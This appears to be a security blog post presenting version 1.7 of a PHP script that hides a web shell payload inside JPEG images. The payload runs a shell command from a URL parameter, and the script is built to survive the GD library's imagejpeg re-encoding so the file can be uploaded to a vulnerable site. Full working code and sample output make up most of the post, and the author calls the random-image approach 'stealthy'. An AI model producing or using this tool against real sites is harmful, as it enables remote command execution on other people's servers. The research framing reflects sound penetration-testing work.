JellyShelly 1.7, progress has been made

So I decided it was time to update this script to make it easier to handle. I realized a little while ago that it was quite hard to use since this little trick doesn’t work on all images. Therefore if you wanted to inject code into an image, you would sometimes have to sit several hours, running the script over and over with different images until you got a hit. This isn’t optimal and therefore I have made some simple adjustments to the script.

By using one of the many neat placeholder image services online :).

Two of these are:

https://placehold.it/
http://lorempixel.com/

The first one only offers grey images, so I picked the second one which offers all kinds of images (which is more fun and stealthy). What the script will do now, is that it will simply download a random image of random size (100-1500 width/height) and use it to try to inject data. If it succeeds then it will save the result image (which you can later use with an upload function that uses the imagejpeg function). If it fails however, it will remove the image, and download a new one. At the moment the script will run until it succeeds.

Later on I might add some more advanced functionality, as well as a more refined and usable interface for the script. Two functions I wish to implement are re-sizing of images, and images where watermarks are added during the process.

Anyway, code!

<?php
ini_set('display_errors', 1);
error_reporting(E_PARSE);

$orig = 'image.jpg';
$code = '<?=exec($_GET["c"]))?>';
$quality = "80";
$base_url = "http://lorempixel.com";
/*$code = '<?php system($_GET["c"])?>';*/
/*$code = '<?=$a=`ls`?>';*/

echo "-=Imagejpeg injector 1.7=-\n";

do 
{
    $x = rand(100, 1500);
    $y = rand(100, 1500);
    $url = $base_url . "/$x/$y/";

    echo "[+] Fetching image ($x X $y)\n";
    file_put_contents($orig, file_get_contents($url));
} while(!tryInject($orig, $code, $quality));

echo "[+] It seems like it worked!\n";
echo "[+] Result file: image.jpg.php\n";

function tryInject($orig, $code, $quality)
{ 
    $result_file = 'image.jpg.php';
    $tmp_filename = $orig . '_mod2.jpg';

    //Create base image and load its data
    $src = imagecreatefromjpeg($orig);
    imagejpeg($src, $tmp_filename, $quality);
    $data = file_get_contents($tmp_filename);
    $tmpData = array();
     
    echo "[+] Jumping to end byte\n";
    $start_byte = findStart($data);
     
    echo "[+] Searching for valid injection point\n";
    for($i = strlen($data)-1; $i > $start_byte; --$i)
    {
        $tmpData = $data;
        for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
        {
            $tmpData[$n] = $code[$z];
        }
     
        $src = imagecreatefromstring($tmpData);
        imagejpeg($src, $result_file, $quality);
     
        if(checkCodeInFile($result_file, $code))
        {
            unlink($tmp_filename);
            unlink($result_file);
            sleep(1);
     
            file_put_contents($result_file, $tmpData);
            echo "[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed\n";
     
            sleep(1);
            $src = imagecreatefromjpeg($result_file);

            return true;
        }
        else
        {
            unlink($result_file);
        }
    }
    	unlink($orig);
    	unlink($tmp_filename);
    	return false; 
}

function findStart($str)
{
    for($i = 0; $i < strlen($str); ++$i)
    {
        if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
        {
            return $i+2;
        }
    }
 
    return -1;
}
 
function checkCodeInFile($file, $code)
{
    if(file_exists($file))
    {
        $contents = loadFile($file);
    }
    else
    {
        $contents = "0";
    }
 
    return strstr($contents, $code);
}
 
function loadFile($file)
{
    $handle = fopen($file, "r");
    $buffer = fread($handle, filesize($file));
    fclose($handle);
 
    return $buffer;
}

Some sample output

-=Imagejpeg injector 1.7=-
[+] Fetching image (1409 X 934)
[+] Jumping to end byte
[+] Searching for valid injection point
[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed
[+] It seems like it worked!
[+] Result file: image.jpg.php

An important note about the current state of the script is the “Temp solution” message.
What it means is that if you get an error such as the one below, then it most likely means that the process failed.

In which case you should restart the script. This happens from time to time and is so far something that I haven’t been able to detect, and thus not been able to automate the handling of it. If anyone has a solution for that issue, feel free to comment below.

PHP Parse error: imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error:
in Workspace/jellyshell/jellyauto.php on line 63

Parse error: imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error:
in Workspace/jellyshell/jellyauto.php on line 63

 

I'm a Security consultant at TrueSec. I mostly deal with penetration testing and code reviews, but I also like to allocate time for different kinds of security research. Twitter - https://twitter.com/alcorsecurity

Tagged with: , , ,
Posted in Hacking

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Categories
%d bloggers like this: